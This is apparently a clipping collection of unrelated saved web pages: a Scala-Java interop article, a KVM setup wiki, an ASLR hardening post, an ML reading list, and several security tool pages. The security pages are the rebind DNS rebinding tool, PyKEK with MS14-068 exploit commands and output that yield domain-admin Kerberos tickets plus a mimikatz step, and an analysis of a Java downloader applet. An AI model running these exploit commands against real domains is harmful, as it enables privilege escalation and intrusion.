is incapable of expressing.

Fortunately, Scala is able to exploit one of the JVM’s most maligned features
to support things like variance and higher-kinds without sacrificing perfect
Java interop. Thanks to type erasure, Scala generics can be compiled to Java
generics without any loss of functionality on the Scala side. Thus, the Java
translation of the `List` definition above would be as follows:

|

[code]

    public abstract class List<A> {
        ...
    }
[/code]  
---|---  
The variance annotation is gone, but Java wouldn’t be able to make anything of
it anyway. The huge advantage to this translation scheme is it means that
Java’s generics and Scala’s generics are one and the same at the bytecode
level. Thus, Java can use generic Scala classes without a second thought:

|

[code]

    import scala.Tuple2;
     
    ...
    Tuple2<String, String> me = new Tuple2<String, String>("Daniel", "Spiewak");
    
[/code]  
---|---  
Obviously, this is a lot more verbose than the Scala equivalent, “`("Daniel",
"Spiewak")`“, but at least it works.

### Operators are Methods

One of the most obvious differences between Java and Scala is that Scala
supports operator overloading. In fact, Scala supports a variant of operator
overloading which is far stronger than anything offered by C++, C\# or even
Ruby. With very few exceptions, _any_ symbol may be used to define a custom
operator. This provides tremendous flexibility in DSLs and even your average,
every-day API \(such as `List` and `Map`\).

Obviously, this particular language feature is not going to translate into
Java quite so nicely. Java doesn’t support operator overloading of _any_
variety, much less the über-powerful form defined by Scala. Thus, Scala
operators must be compiled into an entirely non-symbolic form at the bytecode
level, otherwise Java interop would be irreparably broken, and the JVM itself
would be unable to swallow the result.

A good starting place for deciding on this translation is the way in which
operators are declared in Scala: as methods. Every Scala operator \(including
unary operators like `!`\) is defined as a method within a class:

|

[code]

    abstract class List[+A] {
      def ::[B >: A](e: B) = ...
     
      def +[B >: A](e: B) = ...
    }
[/code]  
---|---  
Since Scala classes become Java classes and Scala methods become Java methods,
the most obvious translation would be to take each operator method and produce
a corresponding Java method with a heavily-translated name. In fact, this is
exactly what Scala does. The above class will compile into the equivalent of
this Java code:

|

[code]

    public abstract class List<A> {
        public <B super A> List<B> $colon$colon(B e) { ... }
     
        public <B super A> List<B> $plus(B e) { ... }}
[/code]  
---|---  
Every allowable symbol in Scala’s method syntax has a corresponding
translation of the form “`$`_trans_ “. A list of supported translations is one
of those pieces of documentation that you would expect to find on the Scala
website. However, alas, it is absent. The following is a table of all of the
translations of which I am aware:

**Scala Operator**| **Compiles To**  
---|---  
`=`| `$eq`  
`>`| `$greater`  
`<`| `$less`  
`+`| `$plus`  
`-`| `$minus`  
`*`| `$times`  
`/`| `div`  
`!`| `$bang`  
`@`| `$at`  
`#`| `$hash`  
`%`| `$percent`  
`^`| `$up`  
`&`| `$amp`  
`~`| `$tilde`  
`?`| `$qmark`  
`|`| `$bar`  
`\`| `$bslash`  
`:`| `$colon`  
Using this table, you should be able to derive the “real name” of any Scala
operator, allowing its use from within Java. Of course, the idea solution
would be if Java actually supported operator overloading and could use Scala’s
operators directly, but somehow I doubt that will happen any time soon.

### Odds and Ends

One final tidbit which might be useful: `@BeanProperty`. This is a special
annotation which is essentially read by the Scala compiler to mean “generate a
getter and setter for this field”:

|

[code]

    import scala.reflect.BeanProperty
     
    class Person {
      @BeanProperty
      var name = "Daniel Spiewak"}
[/code]  
---|---  
The need for this annotation comes from the fact that Scala’s ever-convenient
`var` and `val` declarations actually generate code which looks like the
following \(assuming no `@BeanProperty` annotation\):

|

[code]

    // *without* @BeanPropertypublic class Person {
        private String name = "Daniel Spiewak";
     
        public String name() {
            return name;
        }
     
        public void name_$eq(String name) {
            this.name = name;
        }}
[/code]  
---|---  
This works well from Scala, but as you can see, Java-land is not quite
paradise. While it is certainly feasible to use the `_$eq` syntax instead of
the familiar `set`/`get`/`is` triumvirate, it is not an ideal situation.

Adding the `@BeanProperty` annotation \(as we have done in the earlier Scala
snippet\) solves this problem by causing the Scala compiler to auto-generate
more than one pair of methods for that particular field. Rather than just
`value` and `value_$eq`, it will also generate the familiar `getValue` and
`setValue` combination that all Java developers will know and love. Thus, the
actual translation resulting from the `Person` class in Scala will be as
follows:

|

[code]

    public class Person {
        private String name = "Daniel Spiewak";
     
        public String name() {
            return name;
        }
     
        public String getName() {
            return name();
        }
     
        public void name_$eq(String name) {
            this.name = name;
        }
     
        public void setName(String name) {
            name_$eq(name);
        }}
[/code]  
---|---  
This merely provides a pair of delegates, but it does suffice to smooth out
the mismatch between Java Bean-based frameworks and Scala’s elegant instance
fields.

### Conclusion

This has been a whirlwind, disjoint tour covering a fairly large slice of
information on how to use Scala code from within Java. For the most part,
things are all roses and fairy tales. Scala classes map precisely onto Java
classes, generics work perfectly, and pure-abstract traits correspond directly
to Java interfaces. Other areas where Scala is decidedly more powerful than
Java \(like operators\) do tend to be a bit sticky, but there is _always_ a
way to make things work.

If you’re considering mixing Scala and Java sources within your project, I
hope that this article has smoothed over some of the doubts you may have had
regarding its feasibility. As David Pollack says, Scala is really “just
another Java library”. Just stick `scala-library.jar` on your classpath and
all of your Scala classes should be readily available within your Java
application. And given how well Scala integrates with Java at the language
level, what could be simpler?

# rebind - Project Hosting on Google Code

**Created:**| _8/12/2010 5:03:22 PM_  
---|---  
**Updated:**| _8/12/2010 5:03:22 PM_  
**Author:**| _wishi_  
**Tags:**| __  
  
| rebind _DNS Rebinding Tool_ |   
---|---|---  
Project Home |    | Downloads |    | Wiki |    | Issues |    | Source |    |    
---|---|---|---|---|---|---|---|---|---|---  
Summary | Updates | People |   
---|---  
<img src='img/star_off.gif' width='15' height='15' />   Star this project  
---  
**Activity:** <img src='img/13952_cleardot.gif' />Medium  
---  
**Code license:**  
MIT License  
**Featured wiki pages:**  
FAQ  
Show all »  
---  
**Feeds:**  
Project feeds  
---  
**Owners:**  
heffnercj  
---  
People details »  
Rebind is a tool that implements the multiple A record DNS rebinding attack.
Although this tool was originally written to target home routers, it can be
used to target any public \(non RFC1918\) IP address.

Rebind provides an external attacker access to a target router's internal Web
interface. This tool works on routers that implement the weak end system model
in their IP stack, have specifically configured firewall rules, and who bind
their Web service to the router's WAN interface. Note that remote
administration does not need to be enabled for this attack to work. All that
is required is that a user inside the target network surf to a Web site that
is controlled, or has been compromised, by the attacker. See
docs/whitepaper.pdf for a detailed description of the attack.

# SupportedDongles - rfcat - Information about the supported dongles - RF
ChipCon-based Attack Toolset - Google Project Hosting

**Created:**| _2/8/2012 1:29:02 PM_  
---|---  
**Updated:**| _2/8/2012 1:29:07 PM_  
**Author:**| __  
**Tags:**| _attacks DSP rf_  
  

<img src='img/Temp2_7786.gif' width='15' height='15' /> SupportedDongles
_Information about the supported dongles_ Updated  Yesterday \(18 hours ago\)
by gvandenb...@gmail.com

# Introduction

This page describes USB dongles that are supported by the project.

# Details

Currently there are three USB dongles supported by the project. The dongles
all operate using a CC111x SOC\(System on Chip\). The dongles are:

  * IM-Me dongle
  * CC1111EMK dongle
  * Chronos dongle

## IM-Me dongle

<img src='img/Temp2_7787.gif' /> This product is originally a portable instant
message toy for girls to communicate with each other. But the IM-Me dongle can
do more, it contains a CC1110 chip for wireless communication. Information
about hacking the IM-Me dongle can be found here.

## CC1111EMK dongle

<img src='img/Temp2_7788.gif' /> The CC1111EMK \(Evaluation Module Kit\)
dongle is an evaluation dongle from Texas Instruments for their CC1111 chip.
The dongle includes a debug header and a header containing test pins. This
dongle is probably the most easy to use because it is ready to use.

## Chronos dongle

<img src='img/Temp2_7789.gif' /> The Chronos dongle is included in the Chronos
watch kit. The Chronos watch kit is a development kit produced by Texas
Instruments to develop timing applications. The kit includes a dongle that
contains a CC1111 chip. By programming this dongle with the alternative
firmware provided here it can be used in custom applications. In order to
program the Chronos dongle it a program header has to be added. Information
about the program modification can be found here.  
---

# bidord/pykek · GitHub

**Created:**| _12/5/2014 10:46:05 AM_  
---|---  
**Updated:**| _12/5/2014 10:46:05 AM_  
**Author:**| __  
**Tags:**| __  
  

# Python Kerberos Exploitation Kit

PyKEK \(Python Kerberos Exploitation Kit\), a python library to manipulate
KRB5-related data. \(Still in development\)

For now, only a few functionalities have been implemented \(in a quite
Quick'n'Dirty way\) to exploit MS14-068 \(CVE-2014-6324\) .

More is coming...

#  Author

Sylvain Monné

Contact : sylvain dot monne at solucom dot fr

http://twitter.com/bidord

Special thanks to: Benjamin DELPY `gentilkiwi`

#  Library content

  * kek.krb5: Kerberos V5 \(RFC 4120\) ASN.1 structures and basic protocol functions
  * kek.ccache: Credential Cache Binary Format \(cchache\)
  * kek.pac: Microsoft Privilege Attribute Certificate Data Structure \(MS-PAC\)
  * kek.crypto: Kerberos and MS specific cryptographic functions

#  Exploits

##  ms14-068.py

Exploits MS14-680 vulnerability on an un-patched domain controler of an Active
Directory domain to get a Kerberos ticket for an existing domain user account
with the privileges of the following domain groups :

  * Domain Users \(513\)
  * Domain Admins \(512\)
  * Schema Admins \(518\)
  * Enterprise Admins \(519\)
  * Group Policy Creator Owners \(520\)

###  Usage :

[code]

    USAGE:
    ms14-068.py -u <userName>@<domainName> -s <userSid> -d <domainControlerAddr>
    
    OPTIONS:
        -p <clearPassword>
     --rc4 <ntlmHash>
    
[/code]

###  Example usage :

####  Linux \(tested with samba and MIT Kerberos\)

[code]

    root@kali:~/sploit/pykek# python ms14-068.py -u user-a-1@dom-a.loc -s S-1-5-21-557603841-771695929-1514560438-1103 -d dc-a-2003.dom-a.loc
    Password: 
      [+] Building AS-REQ for dc-a-2003.dom-a.loc... Done!
      [+] Sending AS-REQ to dc-a-2003.dom-a.loc... Done!
      [+] Receiving AS-REP from dc-a-2003.dom-a.loc... Done!
      [+] Parsing AS-REP from dc-a-2003.dom-a.loc... Done!
      [+] Building TGS-REQ for dc-a-2003.dom-a.loc... Done!
      [+] Sending TGS-REQ to dc-a-2003.dom-a.loc... Done!
      [+] Receiving TGS-REP from dc-a-2003.dom-a.loc... Done!
      [+] Parsing TGS-REP from dc-a-2003.dom-a.loc... Done!
      [+] Creating ccache file 'TGT_user-a-1@dom-a.loc.ccache'... Done!
    root@kali:~/sploit/pykek# mv TGT_user-a-1@dom-a.loc.ccache /tmp/krb5cc_0 
    
[/code]

####  On Windows

[code]

    python.exe ms14-068.py -u user-a-1@dom-a.loc -s S-1-5-21-557603841-771695929-1514560438-1103 -d dc-a-2003.dom-a.loc
    mimikatz.exe "kerberos::ptc TGT_user-a-1@dom-a.loc.ccache" exit`
    
[/code]

# Dynamic analysis of a Java malware – OpenConnection « Malware Research

**Created:**| _1/13/2011 3:31:07 PM_  
---|---  
**Updated:**| _1/13/2011 3:31:18 PM_  
**Author:**| __  
**Tags:**| _analysis Malware-analysis Java_  
  

## Dynamic analysis of a Java malware – OpenConnection

By Dinesh Venkatesan

The general trend of malware implemented in Java programming language is
increasing. Thanks to Java’s platform independent bytecode technology and the
wonderful VirtualMachine.

Analysis of Java bytecodes is relatively simple task \(unless it is
obfuscated\). There has been some very nice tools to decompile the bytecode
back to source with great accuracy.

For a change, in this blog post, I have chosen to write about the dynamic
analysis of a Java Applet. The entire analysis is carried out inside a
controlled \(simulated\) networking environment using Zelster’s Remnux VMImage
as the internet server.

**Payload of OpenConnection:**

  * As the name suggests, the Applet accepts a parameter named “URL”.
  * It opens a URL connection with the URL \(typically an executable file\).
  * It reads the binary data from the Socket’s input stream and writes it to a File object’s OutputStream \(in %temp% folder\).
  * Once, the file is successfully downloaded, it spawns the downloaded executable.

Ok, the payload is very familiar one and nothing exciting about it. Lets see
the dynamic analysis steps:

Step 1: Decompile the class file. There has been many decompilers available.
\[I personally use jad or jd-gui\]

Step 2: Include some debug statements \(some System.out.println statements
here and there to print value of the variables \)

Step 3: Compile the file to create the class file and pack it as a jar
archive.

Step 4: Now, to satisfy the Java security model, an Applet has to be signed to
access local file system and do process related activities. We use JDK’s
keytool and jarsigner for this step.

<img src='img/Temp2_2466.jpg' width='450' height='40' alt='Signing the jar
file' />

Signing the jar file

Step 5: now the jar file is signed, we will host this jar file along and a
companion html file to the Remnux server.

Step 6: Now start the FakeDNS.exe in the test machine and resolve all the
domain queries to the Remnux server.

<img src='img/Temp2_2467.jpg' width='450' height='317' alt='fakedns in action'
/>

fakedns in action

Step 6: To create a perfect ecosystem for the malware to flourish without any
obstacle, we need to lower the Java’s default sandboxing security policy. This
can be done by JDK’s policytool.exe

<img src='img/Temp2_2470.jpg' width='450' height='346' alt='Changing default
policy to grant all permissions' />

Changing default policy to grant all permissions

Step 7: With everything set, access the html file hosted in the remnux server
that embeds applet into it.

Step 8: The user is presented with a warning about the active content about to
be executed and asks your approval to trust the self signed certificate.

<img src='img/Temp2_2465.jpg' width='450' height='280' alt='Certificate
prompt' />

Certificate prompt

Step 9:Now, the init\(\) method of the applet is called, which inturn invokes
the method that opens a connection to an executable \(again hosted in remnux
server. in this example, i have hosted winmine.exe\)

Step 10: The debug messages can be seen in Java Console.

<img src='img/Temp2_2469.jpg' width='450' height='400' alt='Debug messages in
jconsole' />

Debug messages in jconsole

Step 11: Once the sample is downloaded, it spawns the executable. \(in this
case winmine.exe\). The Parent-child relationship can be seen through process
explorer.

<img src='img/Temp2_2464.jpg' width='450' height='39' alt='Process Explorer to
verify the the IE -> Java -> winmine' />

Process Explorer to verify the the IE -> Java -> winmine

This stresses the importance of paying attention to the security popups even
during a casual browsing session.

Cheers <img src='img/Temp2_2468.jpg' alt=':-)' />

# Large Scale Machine Learning

**Created:**| _11/30/2013 4:14:06 PM_  
---|---  
**Updated:**| _11/30/2013 4:14:06 PM_  
**Author:**| __  
**Tags:**| _machine-learning_  
  

# **L** arge Scale Machine Learning****

## by Nash Kaixiang Mo****

Libs and Papers on Large Scale Machine Learning**.**

#### Acknowledgement****

Nash thanks Yin Zhu  for providing many useful related libs and papers, thanks
Erheng Zhong  and Prof**.** Qiang Yang  suggestions and discussions on this
list**.**

2 computing models recently**.**

  * Data Independent Model
<img src='img/Temp2_4838.jpg' width='150' height='150' />| assumes each data
instance can be independently computed**.** A typical example is hadoop, the
map function assumes each data unit can be processed independently; the reduce
function assumes data units with different keys are independent of each other
and the order of the data units are ignored**.** This model is suitable for
classifying independent instances**.**  
---|---  
  * Data Locally Dependenty Model
<img src='img/Temp2_4839.jpg' width='150' height='150' />| assumes many data
vertices locally connected with its neighbor vertices, each data vertex
updates its own status in parallel according to the status of its connected
neighbors vertices**.** A typical example is GraphLab. This kind of model is
suitable for computing a handful of social network algorithms such as
PageRank, Community Detection**.**  
---|---  

Features of large scale machine learning system which is different with
traditional single machine systems are

  * dynamic scheduling
  * parallel execution
  * scalability
  * fault-tolerant
  * load balancing

****

# Improving ASLR with internal randomization « root labs rdist

**Created:**| _6/8/2011 1:49:57 PM_  
---|---  
**Updated:**| _6/8/2011 1:49:57 PM_  
**Author:**| __  
**Tags:**| _aslr kernel_  
  

### Improving ASLR with internal randomization

Filed under: Hacking,Network,Security,Software protection — Nate Lawson @ 4:24
am  

Most security engineers are familiar with address randomization \(ASLR\). In
the classic implementation, the runtime linker or image loader chooses a
random base offset for the program, its dynamic libraries, heap, stack, and
mmap\(\) regions.

At a higher level, these can all be seen as obfuscation. The software
protection field has led with many of these improvements because cracking
programs is a superset of exploiting them. That is, an attacker with full
access to a program’s entire runtime state is much more advantaged than one
with only remote access to the process, filtered through an arbitrary
protocol. Thus, I predict that exploit countermeasures will continue to
recapitulate the historical progress of software protection.

The particular set of obfuscations used in ASLR were chosen for their ease of
retrofitting existing programs. The runtime linker/loader is a convenient
location for randomizing various memory offsets and its API is respected by
most programs, with the most notable exceptions being malware and some
software protection schemes. Other obfuscation mechanisms, like heap metadata
checksumming, are hidden in the internals of system libraries. Standard
libraries are a good, but less reliable location than the runtime linker. For
example, many programs have their own internal allocator, reducing the
obfuscation gains of adding protection to the system allocator.

A good implementation of ASLR can require attackers to use a memory disclosure
vulnerability to discover or heap fung shui to create a known memory layout
for reliable exploitation. While randomizing chunks returned from the standard
library allocator can make it harder for attackers to create a known state,
memory disclosure vulnerabilities will always allow a determined attacker to
subvert obfuscation. I expect we’ll see more creativity in exercising partial
memory disclosure vulnerabilities as the more flexible bugs are fixed.

ASLR has already forced researchers to package multiple bugs into a single
exploit, and we should soon see attackers follow suit. However, once the base
offsets of various libraries are known, the rest of the exploit can be applied
unmodified. For example, a ROP exploit may need addresses of gadgets changed,
but the relative offsets within libraries and the code gadgets available are
consistent across systems.

The next logical step in obfuscation would be to randomize the internals of
libraries and code generation. In other words, you re-link the internal
functions and data offsets within libraries or programs so that code and data
are at different locations in DLLs from different systems. At the same time,
code generation can also be randomized so that different instruction sequences
are used for the same operations. Since all this requires deep introspection,
it will require a larger change in how software is delivered.

Fortunately, that change is on the horizon for other reasons. LLVM and Google
NaCl are working on link-time optimization and runtime code generation,
respectively. What this could mean for NaCl is that a single native executable
in LLVM bitcode format would be delivered to the browser. Then, it would be
translated to the appropriate native instruction set and executed.

Of course, we already have a form of this today with the various JIT
environments \(Java JVM, Adobe ActionScript, JavaScript V8, etc.\) But these
environments typically cover only a small portion of the attack surface and
don’t affect the browser platform itself. Still, randomized JIT is likely to
become more common this year.

One way to implement randomized code delivery is to add this to the installer.
Each program could be delivered as LLVM IR and then native code generation and
link addresses could be randomized as it was installed. This would not slow
down the installation process significantly but would make each installation
unique. Or, if the translation process was fast enough, this could be done on
each program launch.

Assuming this was successfully deployed, it would push exploit development to
be an online process. That is, an exploit would include a built-in ROP gadget
generator and SMT solver to generate a process/system-specific exploit.
Depending on the limitations of available memory disclosure vulnerabilities
and specific process state, it might not be possible to automatically exploit
a particular instance. Targeted attacks would have to be much more targeted
and each system compromised would require the individual attention of a
highly-skilled attacker.

I’m not certain software vendors will accept the nondeterminism of this
approach. Obviously, it makes debugging production systems more difficult and
installation-specific. However, logging the random seed used to initiate the
obfuscation process could be used to recreate a consistent memory layout for
testing.

For now, other obfuscation measures such as randomizing the allocator may
provide more return on investment. As ROP-specific countermeasures are
deployed, it will become easier to exploit a program’s specific internal logic
\(flags, offsets, etc.\) than to try to get full code execution. It seems
that, for now, exploit countermeasures will stay focused on randomizing and
adding checksums to data structures, especially those in standard libraries.

But is this level of obfuscation where exploit countermeasures are headed? How
long until randomized linking and code generation are part of a mainline OS?

Comments \(2\)

## 2 Comments »

  1. It would be interesting to see how performance might be affected by taking this to the n’th degree. Certainly MS compilers try to optimise for working set and cache performance, which if you randomised everything might cause the odd hiccup. Perhaps it doesn’t matter too much for general applications these days.
On that note I have wondered if in this sort of scenario you could exploit
cache misses to infer the layout of a randomised binary by evicting the cache
and trying to do a timing attack against it, sure in theory it must be
possible, but probably not very reliable :\)

Comment by tyranid — June 6, 2011 @ 12:50 pm | Reply
     * On the instruction generation side, a lighter approach than full randomization is to try to use encodings without encoded RETs \(0xc3\) in them. But that is still vulnerable to pop/jmp or other instruction combinations.
The real issue is that almost any subsequence of instructions can be
repurposed for other use. For example, a routine that enables a “secure mode”
flag can be used to disable that flag by returning to the middle of it with
the appropriate register set to 0.

Many permutations of instructions are equivalent, and many possibilities have
little loss in performance. For example, a register can be loaded with a
constant value by any number of arithmetic/logical instructions
\(add/sub/or/not/xor\). This not only changes the behavior but also the
internal offsets on variable-length instruction sets like x86.

I’d be interested in seeing some actual research in this area.

<img src='img/d0c01d70ede8af2f696f36d3f89b8be1' />

# KVM Setup on Debian Lenny - Wiki

**Created:**| _10/20/2011 11:39:15 AM_  
---|---  
**Updated:**| _10/20/2011 11:39:15 AM_  
**Author:**| __  
**Tags:**| _virtusalisation Lab-Setup_  
  

# KVM Setup on Debian Lenny

All the following is done on a base install of Debian Lenny running a x64
kernel \(2.6.26-2-amd64\). In the case below it was done on a remote server
with only ssh access to the host. LVM was already setup on the Debian Lenny
Host and is used to give a LV to the VMs.

## Contents

  * 1 Setup of KVM and Libvirt on Debian Lenny Host
  * 2 \(Default\) Network Config
  * 3 Setup of Debian Lenny VM
  * 4 Benchmark
  * 5 Change from IDE to Virtio
    * 5.1 Mount LVM VM Disk
  * 6 Custom Network Config
    * 6.1 Custom Iptables Firewall with libvirt
      * 6.1.1 Firewall Script
      * 6.1.2 Control the Firewall
  * 7 Munin Plugins for Libvirt / KVM
  * 8 Setup of Windows 7 VM
    * 8.1 Correct Mouse Pointer issue with VNC
  * 9 IPv6 Config on Host

  
---  
##  Setup of KVM and Libvirt on Debian Lenny Host

[code]

    apt-get install kvm libvirt-bin virtinst
    #libvirt allows easy management of KVM, ensuring VMs start upon boot
    
[/code]

##  \(Default\) Network Config

The default network config that comes out of the box with KVM gives a private
IP address to each VM via local DHCP & DNS server \(dnsmasq\). Each VM can
then NAT out through the host to get internet access. There is an issue with
dnsmasq and possibly a bug with debian which is overcome below by preventing
dnsmasq to start on boot of the host and allowing libvirt instead of control
dnsmasq.

[code]

    #Type "virsh" to enter the virsh console:
    virsh
    virsh #  			//You are now in the virsh console
    virsh # nodeinfo   		//Shows info on the Host
    virsh # list --all   		//Shows all VMs. (Same as going ~# ls /etc/libvirt/qemu/)
    virsh # net-list --all  	//Shows all the network config files. (Same as going ~# ls /etc/libvirt/qemu/networks/)
    virsh # net-edit default	//It is BEST to edit network config files using vish. 
    				//If you edit /etc/libvirt/qemu/networks/default.xml manually, it won't update without a net-undefine and net-define.
    virsh # quit
    
    #DHCP of the VMs is provided by dnsmasq. We need to stop the dnsmasq service from starting itself and let libvirt control libvirt instead
    /etc/init.d/dnsmasq stop
    sysv-rc-conf (apt-get install sysv-rc-conf if its not installed)
    #untick dnsmasq for all runlevels
    
    virsh
    virsh # net-autostart default
    virsh # net-start default
    virsh # quit
    
[/code]

##  Setup of Debian Lenny VM

[code]

    wget http://ftp.debian.org/debian/dists/stable/main/installer-amd64/current/images/netboot/mini.iso
    lvcreate -n deb01 --size 20g vg0   //For file based disk: dd if=/dev/zero of=/kvm/deb01.img bs=1024k count=20000
    virt-install -d --name=deb01 --ram 512 --disk path=/dev/vg0/deb01 --network network=default --vnc --accelerate --cdrom /root/mini.iso
    # --accelerate IS required, otherwise it will be qemu and virtio won't work later when we config it manually.
    #After virt-install, you will see (virt-viewer:3501): Gtk-WARNING **: cannot open display: 
    #Domain installation still in progress. You can reconnect to the console to complete the installation process.
    
    #Connect with vncviewer. You may have to ssh to the server and port forward port 5901.
    #netstat -tap //This will show the ports open and if they are bound to 127.0.0.1
    #Complete the install. Debian will shutdown the VM after installation
    
    virsh
    virsh # list --all
    virsh # start deb01
    #Connect with VNCviewer and apt-get install ssh
    
[/code]

##  Benchmark

I ran many dd tests and hdparm however the results seemed too good due to KVM
caches etc. As a result the following phoronix benchmark tests proved to work
very well for comparing IO operations.

[code]

    vi /etc/apt/sources.list
    #Add the following line:
    deb http://www.phoronix-test-suite.com/releases/repo pts.debian/
    apt-get update
    apt-get upgrade
    apt-get install phoronix-test-suite
    phoronix-test-suite benchmark apache  		//Scored Average: 8115.92 Requests Per Second
    phoronix-test-suite benchmark compress-gzip	//Scored Average: 20.61 Seconds
    
[/code]

##  Change from IDE to Virtio

I was mainly interested in IO performance of VMs. I've noticed a little iowait
on my current Xen setup and wanted to see how KVM would work.

[code]

    virsh
    virsh # shutdown deb01
    virsh # edit deb01
    #change <target dev='hda' bus='ide'/> to:
    <target dev='vda' bus='virtio'/>
    
    #add in <model type='virtio'/> under the network interface to look like:
       <interface type='network'>
         <mac address='54:52:00:22:33:50'/>
         <source network='default'/>
         <model type='virtio'/>
         <target dev='vnet0'/>
       </interface>
    :wq
    
[/code]

###  Mount LVM VM Disk

[code]

    See: http://wiki.kartbuilding.net/index.php/Mount_kvm_file_based_image_(disk.img)_on_host_computer
    kpartx -av /dev/vg0/deb01
    mount /dev/mapper/vg0-deb01p1 /mnt/
    vi /mnt/boot/grub/menu.lst
    #change /boot/vmlinuz-2.6.26-2-amd64 root=/dev/hda1 ro quiet to:
    /boot/vmlinuz-2.6.26-2-amd64 root=/dev/vda1 ro
    vi /mnt/etc/fstab
    #Change hda* to vda*
    umount /mnt/
    kpartx -dv /dev/vg0/deb01
    virsh start deb01
    
[/code]

##  Custom Network Config

So my KVM host IP is x.x.x.16 My hosting provider also allow me 3 additional
IPs: x.x.x.35, x.x.x.36 and x.x.x.61 I am using this config below AND the
default KVM Network config at the top of this page.

[code]

    vi /etc/network/interfaces
    auto br0
    iface br0 inet static
      address x.x.x.16
      netmask 255.255.255.255
      bridge_stp off
      bridge_fd 0
      pre-up brctl addbr br0
      #pre-up brctl addif br0 vnet3                    //If VMs are running and init.d/networking restart done,this line will have to be done manually
      up ip route add x.x.x.35 dev br0
      up ip route add x.x.x.36 dev br0
      up ip route add x.x.x.61 dev br0
      post-down brctl delbr br0                       //Allows for smooth use of /etc/init.d/networking restart
    
    ifup br0
    #check with "route" to see the entry.
    
    
[/code]

The virt-install config line is now:

[code]

    virt-install -d --name=deb03 --ram 512 --disk path=/dev/vg0/deb03 --network bridge=br0 --vnc --accelerate --cdrom /root/mini.iso
    
[/code]

The resulting xml network config is:

[code]

    virsh edit deb03
       <interface type='bridge'>
         <mac address=_/ >_
         <source bridge='br0'/>
         <target dev='vnet2'/>
       </interface>
    
[/code]

When completing the installation after virt-install using VNC, DHCP fails \(of
course\) and Manual Network Configuration has to be done. Supply the fixed IP
\(x.x.x.35\), the Default Gateway \(Host IP x.x.x.16\) and DNS server IP. That
will then allow the netinstall to complete.

###  Custom Iptables Firewall with libvirt

As I wanted to use libvirt to create a default network with dhcp, I had to
work around the fact that libvirt wanted to append its own iptables rules
which were a little restrictive. I wanted VMs on the Private LAN to see other
VMs on br0 and visa versa. As libvirt appended iptables rules, there was an
issue. I tried removing the <forward mode='nat'> however libvirt still added
its own iptables rules.

####  Firewall Script

[code]

    vi /etc/init.d/firewall
    #!/bin/sh
    #This gets called by /etc/rc.local
    IPTABLES=/sbin/iptables
    
    EXTBR=br0
    INTBR=virbr0
    
    PRIVATE=192.168.1.0/24
    
    $IPTABLES -F INPUT
    $IPTABLES -F OUTPUT
    $IPTABLES -F FORWARD
    $IPTABLES -F POSTROUTING -t nat
    $IPTABLES -F PREROUTING -t nat
    
    #####################
    # DNS and DHCP
    #####################
    $IPTABLES -A INPUT -i $INTBR -p udp -m udp --dport 53 -j ACCEPT
    $IPTABLES -A INPUT -i $INTBR -p tcp -m tcp --dport 53 -j ACCEPT
    $IPTABLES -A INPUT -i $INTBR -p udp -m udp --dport 67 -j ACCEPT
    $IPTABLES -A INPUT -i $INTBR -p tcp -m tcp --dport 67 -j ACCEPT
    
    ####################
    # FORWARDS
    ###################
    $IPTABLES -A FORWARD -d $PRIVATE -o $INTBR -m state --state RELATED,ESTABLISHED -j ACCEPT
    $IPTABLES -A FORWARD -s $PRIVATE -i $INTBR -j ACCEPT
    $IPTABLES -A FORWARD -i $INTBR -o $INTBR -j ACCEPT
    $IPTABLES -A FORWARD -i $EXTBR -o $EXTBR -j ACCEPT
    
    ###################
    # NATTING
    ###################
    $IPTABLES -t nat -A POSTROUTING -s $PRIVATE -d ! $PRIVATE -j MASQUERADE
    
    ###################
    # PORT FORWARDING (Remote Desktop)
    ###################
    $IPTABLES -t nat -A PREROUTING -p tcp --dport 8883 -j DNAT --to 192.168.1.42:3389
    $IPTABLES -t nat -A PREROUTING -p tcp --dport 8884 -j DNAT --to 192.168.1.152:3389
    
    ###################
    # BLOCKING
    ###################
    $IPTABLES -A FORWARD -j REJECT --reject-with icmp-port-unreachable
    
    
[/code]

####  Control the Firewall

We need to let libvirt start the default network and then run our firewall.
Note: this is much less than ideal. The alternative would be not to use a
libvirt network config, create a second bridge, do the dnsmasq manually and
iptable rules.

[code]

    vi /etc/rc.local
    
    #add in the following
    while [ `ps -e | grep -c libvirtd` -lt 1 ]; do
           sleep 1
    done
    sleep 10
    /etc/init.d/firewall
    
    exit 0
    
[/code]

The firewall can also be called manually anytime by going /etc/init.d/firewall

Ref: http://efreedom.com/Question/2-170079/Forwarding-Ports-Guests-Libvirt-KVM

##  Munin Plugins for Libvirt / KVM

Debian squeeze has plugins for libvirt available via apt. Lenny does not
however. The following worked ok for me on Lenny:

[code]

    //taken from http://honk.sigxcpu.org/projects/libvirt/
    wget http://honk.sigxcpu.org/projects/libvirt/monitor/releases/munin-libvirt-plugins-0.0.6.tar.gz
    gunzip munin-libvirt-plugins-0.0.6.tar.gz
    tar -xvf munin-libvirt-plugins-0.0.6.tar
    #explore the directory and move the libvirt-cpu -ifstat etc. into /usr/share/munin/plugins and chmod 755 and then ln -s to /etc/munin/plugins/
    
[/code]

##  Setup of Windows 7 VM

[code]

    lvcreate -n win01 --size 20g vg0
    virt-install -d --name=win01 --ram 512 --disk path=/dev/vg0/win01 --network network=default --vnc --accelerate --cdrom /root/en_windows_7.iso
    
    
[/code]

###  Correct Mouse Pointer issue with VNC

[code]

    virsh shutdown win01
    virsh edit win01
    //add in the following line above the mouse config: 
    <input type='tablet' bus='usb'/>
    
    //afterwards it will look like:
       <input type='tablet' bus='usb'/>
       <input type='mouse' bus='ps2'/>
       <graphics type='vnc' port='5905' autoport='yes' keymap='en-us'/>
     </devices>
    </domain>
    
[/code]

Refs: http://wiki.libvirt.org/page/UbuntuKVMWalkthrough

##  IPv6 Config on Host

So my hosting company gave me a ipv6 /64 subnet. They also gave me a default
gateway to which a route had to be added. Also debian lenny required "pre-up
modprobe ipv6" to work correctly.

  * IPv6 Subnet: 2a01:4f8:100:xxx1:: 
  * IPv6 Host IP: 2a01:4f8:100:xxx1::1 
  * IPv6 Default Gateway: 2a01:4f8:100:xxx0::1 

[code]

    iface eth0 inet6 static
      address 2a01:4f8:100:xxx1::1
      netmask 64
      gateway 2a01:4f8:100:xxx0::1
      pre-up modprobe ipv6
      pre-up ip -6 route add 2a01:4f8:100:xxx0::1 dev eth0
    
[/code]

# Browse Hyenae Files on SourceForge.net

**Created:**| _7/31/2009 7:37:46 PM_  
---|---  
**Updated:**| _7/31/2009 7:37:53 PM_  
**Author:**| __  
**Tags:**| _security tools network-security_  
  

## Hyenae

by richterr

  * Summary
  * Files
  * Support
  * Develop

Hyenae is a highly flexible platform independent network packet generator. It
